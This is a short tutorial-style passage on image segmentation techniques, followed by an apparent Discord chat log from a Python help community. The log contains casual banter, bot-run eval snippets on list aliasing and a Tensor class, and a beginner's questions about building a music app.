Thresholding: The simplest approach is thresholding, which involves dividing an image into foreground and background based on pixel intensity. Pixels above a certain threshold are assigned to one segment, while those below are assigned to another.
Edge-based Segmentation: This technique focuses on detecting edges within the image. Pixels where there's a sharp change in intensity or color are marked as edges, defining the boundaries of segments.
Region-based Segmentation: This involves grouping pixels into larger regions based on predefined criteria. Two common approaches are region growing (where regions are grown from seed points) and split-and-merge (where an image is recursively split into segments until a criterion is met).
Clustering Methods: Techniques like K-means clustering are used to group pixels into clusters based on feature similarity.
Watershed Algorithm: This method treats the image as a topographic map, with the intensity of each pixel representing elevation. The algorithm identifies "watershed lines" to segment the image into different regions or "catchment basins."
Post-processing: After segmentation, post-processing might be necessary to refine the segments, which could include removing small regions or smoothing the boundaries between segments.
Applications: Image segmentation is used in various applications such as medical imaging (to segment different anatomical structures), object recognition, traffic control systems, and scene understanding.
Each technique has its strengths and is suitable for different types of images and applications. The choice of method depends on the specific requirements of the task at hand. For instance, medical image segmentation often requires very precise and accurate techniques, whereas simpler applications like separating the background from the foreground in a photo might use more straightforward methods like thresholding.
https://arxiv.org/pdf/2201.11903.pdf @whole bear
What is that on?
don't know
ohh nice, thanks, I'll read it
@rugged root hello fren how have you been?
I want to discuss eclairs more, I believe they're overlooked
@shadow pivot ^^ what do you think about eclairs?
I mean yes, they are dangerous
@wind raptor #pedagogy message
I'm on a diet why are you doing this
π€£
!stream 447036109281689610
β @dim abyss can now stream until <t:1699488182:f>.
class Tensor[T]:
def __init__(self, shape: tuple[int, ...], default: T = None):
size = prod(shape)
self.__data = [default for _ in range(size)]
!eval print( [1,2,] * 4 )
@wise loom :white_check_mark: Your 3.12 eval job has completed with return code 0.
[1, 2, 1, 2, 1, 2, 1, 2]
!eval ```py
class DataWrapper:
def init(self, data):
self.data = data
def __str__(self):
return str(self.data)
obj = DataWrapper([1, 2, 3])
arr = [obj for _ in range(10)]
arr[0].data[0] = 100
print(arr)
@dim abyss :white_check_mark: Your 3.12 eval job has completed with return code 0.
[<__main__.DataWrapper object at 0x7f1807033b00>, <__main__.DataWrapper object at 0x7f1807033b00>, <__main__.DataWrapper object at 0x7f1807033b00>, <__main__.DataWrapper object at 0x7f1807033b00>, <__main__.DataWrapper object at 0x7f1807033b00>, <__main__.DataWrapper object at 0x7f1807033b00>, <__main__.DataWrapper object at 0x7f1807033b00>, <__main__.DataWrapper object at 0x7f1807033b00>, <__main__.DataWrapper object at 0x7f1807033b00>, <__main__.DataWrapper object at 0x7f1807033b00>]
!eval ```py
from math import prod
class DataWrapper:
def init(self, data):
self.data = data
def __repr__(self):
return str(self.data)
obj = DataWrapper([1, 2, 3])
arr = [obj for _ in range(10)]
arr[0].data[0] = 100
print(arr)
@dim abyss :white_check_mark: Your 3.12 eval job has completed with return code 0.
[[100, 2, 3], [100, 2, 3], [100, 2, 3], [100, 2, 3], [100, 2, 3], [100, 2, 3], [100, 2, 3], [100, 2, 3], [100, 2, 3], [100, 2, 3]]
!eval from math import prod
class DataWrapper:
def init(self, data):
self.data = data
def __repr__(self):
return str(self.data)
obj = DataWrapper([1, 2, 3])
arr = [obj] * 3
arr[0].data[0] = 100
print(arr)
@dim abyss :white_check_mark: Your 3.12 eval job has completed with return code 0.
[[100, 2, 3], [100, 2, 3], [100, 2, 3]]
Hi, how did your conversation on this topic even begin? I missed it
!e py a = [] b = [a for _ in range(3)] print(b) a.append(123) print(b)
@somber heath :white_check_mark: Your 3.12 eval job has completed with return code 0.
001 | [[], [], []]
002 | [[123], [123], [123]]
Could you repeat it again more slowly I don't know English well
If you said that to me
π
1ydia just started programming Tensors.
Yes
Wow, that's cool! You will succeed
from math import prod
class Tensor[T]:
def __init__(self, shape: tuple[int, ...]):
self.__data: T = [None for _ in range(prod(shape))]
self.__shape: tuple[int, ...] = shape
def __getitem__(self, index: tuple[int, ...]) -> T:
return self.__data[self.__get_index(index)]
def __setitem__(self, index: tuple[int, ...], value: T) -> None:
self.__data[self.__get_index(index)] = value
That response works but a more typical response would be "Wow, that's cool! Good luck"
How much time do you program all the time?
Did you mean to ask how often I code?
Where are you guys from? I am from Russia\
Would you like me to tell you or would you like to guess?
Tell
YOU still haven't said
What's that animal?
Where is it from?
I don't want to break out the spiders.
Okay, that's a lie.
danger dog
i think id shit my pants if that was running at me
come join me in #1 i cant talk again if i leave till tomorrow π¦
@desert vector I'll be on in a few
okie doke
hi guys
Trance - 009 Sound System Dreamscape (HD) long edit
HD Quality Picture and Sound
what do you guys make with python?
lots of things; I made a little script that runs every hour to check if my discord install is up to date and to install the new version if not, for example
thats cool :0
You can use it for almost anything. I've made gui, web apps, cli, scripts, messaging apps, api tools, etc
anything?
almost
mostly
some things are just not feasible
and some things other languages are better suited for
low level stuff is better done in another language
i wish i knew C language
I'll always stand by saying C is not hard, it's just very free-ing
you have no tools; make the universe
i tried to learn it but i sucked at it
is python better for making DAWs or is C better for them?
DAW = digital audio workstation
FL studio
so which one is better for making daws
man i cant do c++ :(
ill just stay with python for now
if it sucked ill do it with c++
i was doing luau before
(roblox)
you guys wanna see the progress i have so far with my qt designer?
the ui is heavily inspired by fl studio
:D
the app is neomad btw
its for making ytpmv
should i just switch to C++?
screw this im just gonna switch to C++
guys which app should i use for making this
Visual Studio (not code) or Qt Creator
oke
why do i always have to stop at this kits thing?
is there something i have to do to like use them
hello?
@desert vector
yeah
hold on let me send ss
here
how do i fix it?
what did you say
what do you mean?